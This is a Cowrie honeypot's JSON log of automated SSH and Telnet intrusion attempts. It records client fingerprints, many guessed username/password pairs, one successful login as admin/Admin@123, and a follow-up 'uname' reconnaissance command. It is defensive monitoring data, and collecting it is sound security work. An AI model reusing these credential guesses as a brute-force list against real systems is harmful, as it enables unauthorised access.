{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:15.771930Z","src_ip":"83.217.9.109","session":"784fa5d9986f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:15.793708Z","src_ip":"192.109.200.237","session":"9dd8091410f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:16.144508Z","src_ip":"83.217.9.109","session":"784fa5d9986f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34982,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a48956fa790","protocol":"telnet","message":"New connection: 50.6.8.71:34982 (10.17.0.5:23) [session: 6a48956fa790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:16.662891Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:17.269537Z","src_ip":"83.217.9.109","session":"784fa5d9986f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"249da9b2ea8b","protocol":"ssh","message":"New connection: 192.109.200.237:52498 (159.203.135.109:22) [session: 249da9b2ea8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:18.162139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:18.166454Z","src_ip":"192.109.200.237","session":"249da9b2ea8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:18.249252Z","src_ip":"192.109.200.237","session":"249da9b2ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.309661626815796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:18.454008Z","src_ip":"50.6.8.71","session":"8382ada945a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:18.493619Z","src_ip":"192.109.200.237","session":"249da9b2ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34988,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bc9c509862","protocol":"telnet","message":"New connection: 50.6.8.71:34988 (10.17.0.5:23) [session: 10bc9c509862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:19.209432Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:19.576741Z","src_ip":"192.109.200.237","session":"249da9b2ea8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50000,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc415fb889e","protocol":"ssh","message":"New connection: 192.109.200.237:50000 (159.203.135.109:22) [session: 2cc415fb889e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:21.740434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:21.745336Z","src_ip":"192.109.200.237","session":"2cc415fb889e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:21.827754Z","src_ip":"192.109.200.237","session":"2cc415fb889e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:22.077281Z","src_ip":"192.109.200.237","session":"2cc415fb889e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:23.259374Z","src_ip":"192.109.200.237","session":"2cc415fb889e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50008,"dst_ip":"159.203.135.109","dst_port":22,"session":"4555773e061f","protocol":"ssh","message":"New connection: 192.109.200.237:50008 (159.203.135.109:22) [session: 4555773e061f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:25.534166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:25.538430Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:25.621187Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:25.898489Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:26.222045Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:26.224532Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:26.308457Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:26.312591Z","src_ip":"192.109.200.237","session":"4555773e061f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35000,"dst_ip":"10.17.0.5","dst_port":23,"session":"01bbb1d66778","protocol":"telnet","message":"New connection: 50.6.8.71:35000 (10.17.0.5:23) [session: 01bbb1d66778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:26.394947Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50016,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d56138d4717","protocol":"ssh","message":"New connection: 192.109.200.237:50016 (159.203.135.109:22) [session: 0d56138d4717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:29.354833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:29.358703Z","src_ip":"192.109.200.237","session":"0d56138d4717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:29.440043Z","src_ip":"192.109.200.237","session":"0d56138d4717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:29.686625Z","src_ip":"192.109.200.237","session":"0d56138d4717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:30.772135Z","src_ip":"192.109.200.237","session":"0d56138d4717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47106,"dst_ip":"159.203.135.109","dst_port":22,"session":"67d9c9b948e3","protocol":"ssh","message":"New connection: 192.109.200.237:47106 (159.203.135.109:22) [session: 67d9c9b948e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:32.877404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:32.881779Z","src_ip":"192.109.200.237","session":"67d9c9b948e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:32.965557Z","src_ip":"192.109.200.237","session":"67d9c9b948e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:33.211679Z","src_ip":"192.109.200.237","session":"67d9c9b948e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:34.296746Z","src_ip":"192.109.200.237","session":"67d9c9b948e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":56894,"dst_ip":"10.17.0.5","dst_port":22,"session":"678b61ec3db3","protocol":"ssh","message":"New connection: 103.27.238.68:56894 (10.17.0.5:22) [session: 678b61ec3db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:34.417957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:34.423387Z","src_ip":"103.27.238.68","session":"678b61ec3db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.992706537246704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:34.601337Z","src_ip":"50.6.8.71","session":"8a0df5ccbff5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:34.695664Z","src_ip":"103.27.238.68","session":"678b61ec3db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212","message":"login attempt [root/1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:35.512980Z","src_ip":"103.27.238.68","session":"678b61ec3db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47116,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e5e9c656916","protocol":"ssh","message":"New connection: 192.109.200.237:47116 (159.203.135.109:22) [session: 9e5e9c656916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:36.460285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:36.464215Z","src_ip":"192.109.200.237","session":"9e5e9c656916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:36.546730Z","src_ip":"192.109.200.237","session":"9e5e9c656916","protocol":"ssh"}
